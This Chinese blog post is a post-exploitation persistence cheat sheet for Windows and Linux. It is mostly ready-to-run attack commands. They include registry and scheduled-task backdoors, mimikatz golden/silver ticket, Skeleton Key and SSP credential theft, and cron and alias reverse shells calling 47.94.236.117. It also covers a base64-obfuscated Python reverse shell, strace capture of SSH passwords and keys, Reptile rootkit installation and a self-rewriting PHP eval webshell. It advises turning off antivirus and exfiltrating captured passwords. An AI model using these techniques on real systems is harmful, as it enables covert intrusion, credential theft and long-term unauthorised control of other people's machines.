权限维持小结

windows

1.自启动

1、自启动路径加载
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
2、自启动服务加载 (服务重启system权限)
sc create ServiceTest binPath= C:\xd.exe start= auto
sc delete ServiceTest
3、自启动注册表加载
-当前用户键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 
-服务器键值
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 
-添加启动项
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\xd.exe"
4、计划计时任务 at&schtasks 
at  15:47 c:\beacon.exe

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F  #创建beacon 任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i   #运行 beacon 任务
schtasks /delete /s 192.168.3.21 /tn beacon /f   #删除 beacon 任务

2.辅助功能

系统自带的辅助功能进行替换执行,放大镜,旁白,屏幕键盘等均可。
粘滞键位置:
c:\windows\system32\sethc.exe
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe

3.映像劫持

notepad.exe calc.exe explorer.exe

执行 notepad 时运行 cmd,运行一次记事本就运行一次程序
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"
配合 GlobalFlag 隐藏:执行正常关闭后触发
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\xd.exe"

4.屏保&登录等各种注册表


1、屏幕保护生效后执行后门

reg add "HKEY CURRENT USER\Control Panel\Desktop" /V SCRNSAVE.EXE /t REG_SZ /d "C:\xd.exe" /f

2、winLogon,用户登录时触发

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\xd.exe"

5.隐藏用户

https://github.com/wgpsec/CreateHiddenAccount
CreateHiddenAccount -u xiaodi -p Xiaodi!@#45
控制面板能查看到,命令查看看不到,单机版无法删除,域环境可以删除
CreateHiddenAccount -c #查看隐藏账户

6.黄金白银票据

黄金票据⽣成攻击,是⽣成有效的 TGT Kerberos 票据,并且不受 TGT⽣命周期的影响
,这⾥可以为任意用户生成黄金票据,然后为域管理员生成 TGT,这样普通⽤户就可以变成域管理员。
白银票据是利用域的服务账户进行伪造的 ST,在 Kerberos 认证的第三步,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得Session Key。所以只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用(不需要交互 KDC,需要知道Server 的NTLM Hash)。
黄金方法:
1、已经拿下域管理员,获取到 krbtgt hash;
2、利用 krbtgt 的 hash 制作黄金票据工具,进行攻击。
流程:
1、域名:god.org
2、域的 SID 值:S-1-5-21-1218902331-2157346161-1782232778
whoami /user
whoami /all
wmic useraccount get name,sid
3、域的 KRBTGT 账户 NTLM-HASH:b097d7ed97495408e1537f706c357fc5
mimikatz privilege::debug
mimikatz lsadump::lsa /patch
4、伪造用户名:webadmin(任意用户名)
生成票据:
mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:xiaodi
导入内存:
mimikatz kerberos::ptt xiaodi
访问测试:
dir \owa2010cn-god\c$
后期渗透:结合前面的课程
net use \owa2010cn-god
黄金票据总结:
该攻击方式其实是一种后门的形式,属于第二次进行攻击的方法。第一次拿到域管权限之后,需要将krbtgt NTLM hash进行保存,当第二次再来进行域渗透攻击时,我们就可使用krbtgt的NTLM hash制作黄金票据,从而再次获得域管权限。

白银方法:
1、已经拿下域管理员,获取到DC hash;
2、利用DC的hash制作对应服务(如cifs)白银票据工具,进行攻击。
流程:
1、域名:god.org
2、域的SID值:S-1-5-21-1218902331-2157346161-1782232778
whoami /user
whoami /all
wmic useraccount get name,sid
3、域DC账户NTLM-HASH:82779569ef27d72b88b6c93dd8b37299
mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords
4、伪造用户名:webadmin(任意用户名)
导入票据:(CIFS文件共享服务)
domain:域名
sid:域环境下的SID,除去最后-的部分剩下的内容
target:要访问的服务器,写FQDN
rc4:写的是目标主机的NTLM(主机名$对应NTLM)
service:要访问的资源类型
user:伪造的用户
cifs:共享文件
mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-1-1218902331-2157346161-1782232778 /target:owa2010cngod /service:cifs /rc4:82779569ef27d72b88b6c93dd8b37299 /ptt
白银票据总结:
1、伪造的ST,只能访问指定的服务,如CIFS;
2、不与KDC交互,直接访问Server;
3、ST由服务账号 NTLM Hash 加密

7.软件-GotoHTTP&RustDesk

可以直接过杀软,连上去狠狠关闭杀软😋
C2 GotoHTTP
https://gotohttp.com/goto/download.12x
利用场景:有网络下,需要绕过杀毒等网络防护B2C模式,
无需安装控制端软件,有浏览器就可以远控。
流量走https协议,只要目标放行443端口出口就可以实现内网穿透。
在低带宽也可以使用,运行占用内存极低,控制时占用CPU仅为0%-3%。
被控端在类Linux系统上支持图形界面(GUI)和字符界面(CLI)网络唤醒远程主机需加载驱动,导致运行时安全卫士会拦截这行为,其他杀软不会拦截。

C2 RustDesk
https://github.com/rustdesk/rustdesk
利用场景:无需网络,需要绕过杀毒等网络防护
有图形化就看密码是什么,没有就读config文件
1、有网连接:
C:\Users\用户名\AppData\Roaming\RustDesk\config其中ID和密码在RustDesk.toml文件里
2、无网内网连接:
在用户文件下的RustDesk配置文件RustDesk2.toml中添加两行

direct-server ='Y'
direct-access-po

rt=8443

8.基于验证 DLL 加载-SSP

简单的理解为 SSP 就是一个 DLL,用来实现身份认证,并且维持系统权限
方法一:但如果域控制器重启,被注入内存的伪造的 SSP 将会丢失。

privilege::debug
misc::memssp C:\Windows\System32\mimilsa.log  #要记录账号密码的文件

方法二:使用此方法即使系统重启,也不会影响到持久化的效果。
1、mimilib.dll 传到目标域控的 c:\windows\system32\目录下
2、修改注册表,重启之后生效

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ c:\windows\system32\kiwissp.log   #要记录账号密码的文件

技术总结:
攻防实战中,靶机很难会重启,攻击者重启的话风险过大,
因此可以在靶机上把两个方法相互结合起来使用效果比较好,
尝试利用把生成的日志密码文件发送到内网被控机器或者临时邮箱。

9.基于验证 DLL 加载-HOOK

修改密码时获取密码
https://github.com/wh0Nsq/HookPasswordChange
https://github.com/clymb3r/Misc-Windows-Hacking

powershell
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
报错解决:
powershell
Set-ExecutionPolicyunrestricted

10.基于机制账号启用-DSRM

DSRM是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。
DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。

1.获取dsrm及krbtgt的NTLM hash
privilege::debug
lsadump::lsa /patch /name:krbtqt
token::elevate
lsadump::sam

2.dsrm&krbtgt&NTLM hash同步
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil

3.修改dsrm登录方式
New-ItemProperty “hklm:\system\currentcontrolset\control\lsa” -name “dsrmadminlogonbehavior”-value 2-propertyType DWORD

4.利用PTH传递攻击
privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5
dir \owa2010cn-god\c$

技术总结:
利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krgtgt进行PTH攻击,实现持续化控制,但适用于系统>=windowsserver2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

11.基于用户属性修改-SID history

1、获取某用户SID属性:
Import-Module ActiveDirectory
Get-ADUser webadmin -Properties sidhistory
2、给予某用户administrator属性:
privilege::debug
sid::patch
sid::add /sam:webadmin /new:administrator
3、测评给与前后的DC访问权限:
dir\192.168.3.21\c$
技术总结:
把域控管理员的SID加入到 其他某个恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在。

12.基于登录进程劫持-Skeleton Key

1、测试域内某个用户与DC通讯
dir \owa2010cn-god\c$
2、连接DC后,DC注入lsass进程
net use \\192.168.3.21\ipc$  "Admin12345" /user:god\administrator
mimikatz
privilege::debug
misc::skeleton
3、重新测试域内某个用户与DC通讯
net use \owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir \owa2010cn-god\c$
技术总结:
注入万能密码,因为Skeleton Key技术是被注入到lsass.exe进程的,所以它只存在内存中,如域控重启,万能密码将失效。

linux

1.定时任务

利用系统的定时任务功能进行反弹 Shell

1、编辑后门反弹
vim /etc/.xiaodi.sh
#!/bin/bash
bash -i >& /dev/tcp/47.94.236.117/3333 0>&1
chmod +x /etc/.xiaodi.sh
2、添加定时任务
echo "*/1 * * * * root /etc/.xiaodi.sh" >> /etc/crontab

2.ssh软链接&公私钥&新帐号

1、SSH软链接
在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录

查看是否使用PAM进行身份验证:
cat /etc/ssh/sshd_config | grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
ssh root@xx.xx.xx.xx -p8888  任意密码登录即可

2、公私钥
https://www.bilibili.com/read/cv17721345/
开启:vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized

生成公私钥
keysssh-keygen -t rsa#三次回车
cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

3、后门帐号
添加root用户:
添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1 

增加超级用户账号
echo "xiaodi:x:0:0::/:/bin/sh">>/etc/passwd
passwd xiaodi #修改密码为xiaodi123

3.SUID后门

cp /bin/bash /tmp/.long #将bash命令cp到.long二进制程序中
chmod 4755 /tmp/.long #赋予SUID文件的权限

./.long -p #主要bash2 针对suid有一些防护,所以需要加上-p参数来获取一个root的shell。

4.linux启动项,自启动服务

5.Strace 后门

strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。
我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
获取账号密码,权限维持

1、记录 sshd 明文

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

2、记录 sshd 私钥

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
grep 'PRIVATE KEY' /tmp/.sshd.log

6.Alias 后门

alias 命令的功能:为命令设置别名
定义:alias ls = 'ls -al'
删除:unalias ls
1、简单:
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts'
2、升级:
alias ls='alerts(){ ls $*--color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambdab:bytes(b,"\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNz0wpyZXQgPSBvcy5mb3JrKCkKaWYgCmVOID4gMDOKICAgIGV4aXQOKQpIbHN1OgOgICAgdHJ5OgOgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2t1dC5BR19JTKVULCBzb2NrZXQuU09DS19TVFJFQUOpCiAgICAgICAgCy5jb25uZWN0KCGiNDCUOTQMjM2LjExNyISIDY2NjYpKQOgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSWgMCKKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCKSIDEpCiAgICAgICAgb3MuZHVwMihzLZpbGVubygpLCAyKQOgICAgICAgIHAgPSEzdwJwcm9j2XNzLmNhbGwoWyIvYmluL3NoIiwgIi1pI10pCiAgICBleGNlcHQgRXhj2XB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))'';};alerts'

7.内核加载LKM-Rootkit后门

现在常用的inux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf或者其它的tcp连接来反弹shell,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。
https://github.com/f0rbldd3n/Reptile/releases
自动化脚本搭建

Centos,Ubuntu
$kernel=`uname`
#Centos
yum -y install perl vim gcc make g++ unzip
#由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x./setup.sh
./setup.sh install<<EOF
reptile
hax0r
s3cr3t
reptile
666
47.94.236.117
4444
1
EOF

#ubuntu
apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
cd Reptile-2.0/&& chmod +x./setup.sh
./setup.sh install <<EOFreptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117
4444
1
EOF

隐藏进程:/reptile/reptile_cmd hide xx
显示进程:/reptile/reptile_cmd show xx
ps -ef | grep 2792
/reptile/reptile cmd hide 2792

隐藏连接:/reptile/reptile_cmd udp xx xx hide
显示连接:/reptile/reptile_cmd tcp xx xx show
netstat -anpt
/reptile/reptile_cmd tcp 100.100.45.106 443 hide

隐藏文件:
文件名中带reptile的都会被隐藏
mkdir reptile_xiaodi
mkdir reptile_file

2、高级玩法
隐藏上线
客户端安装
./setup.sh client
设置连接配置
help
show #查看配置
set LHOST 47.94.236.117
set LPORT 4444
set SRCHOST 47.94.236.117
set SRCPORT 666 #安装时填好的两个端口
set RHOST 121.43.154.113
set RPORT 22 #netstat -anpt找一个开放的端口
set PROT tcp
set PASS s3cr3t
set TOKEN hax0r

rookit检测项目
rookit魔改避免检测项目

8.SSH Config 后门

SSH Config 后门 | Linux 后门系列 (qq.com)

ssh 客户端配置文件加载顺序
命令行参数 > ~/.ssh/config > /etc/ssh/ssh_config

LocalCommand
ProxyCommand
修改这两个参数实现主机使用ssh连接其他主机就上线

9.动态链接库后门

LD_PRELOAD 后门 | Linux 后门系列 (qq.com)

LD_PRELOAD
/etc/ld.so.conf
LD_LIBRARY_PATH
/etc/ld.so.preload

检测:
echo $LD_PRELOAD
echo $LD_LIBRARY_PATH

劫持系统命令
写好payload
gcc preload.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
export LO_PRELOAD=/home/helper/hook.so

webshell内存马

Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器
的一类木马,其利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难
度。

#PHP 内存马:
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为 True,则忽略与用户的断开)
set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents 函数:将一个字符串写入该文件中
usleep 函数:延迟执行当前脚本数微秒,即条件竞争

<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.HH.php';
$code = '<?php @eval($_POST[\'c\']); ?>';
while (1){
 file_put_contents($file,$code);
 usleep(5000);
}
?>

#Java内存马:
-Java Instrumentation类(Agept型)
-Servlet-api类(Servlet型、Filter型、Listener型)
-Spring类(Controller型、Interceptor型)
演示:
1、Servlet-api类(Servlet型、Filter型、Listener型)
2、哥斯拉,冰蝎内存马功能使用

Getshell/Mshell: Memshell-攻防内存马研究 (github.com)

  • 8
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值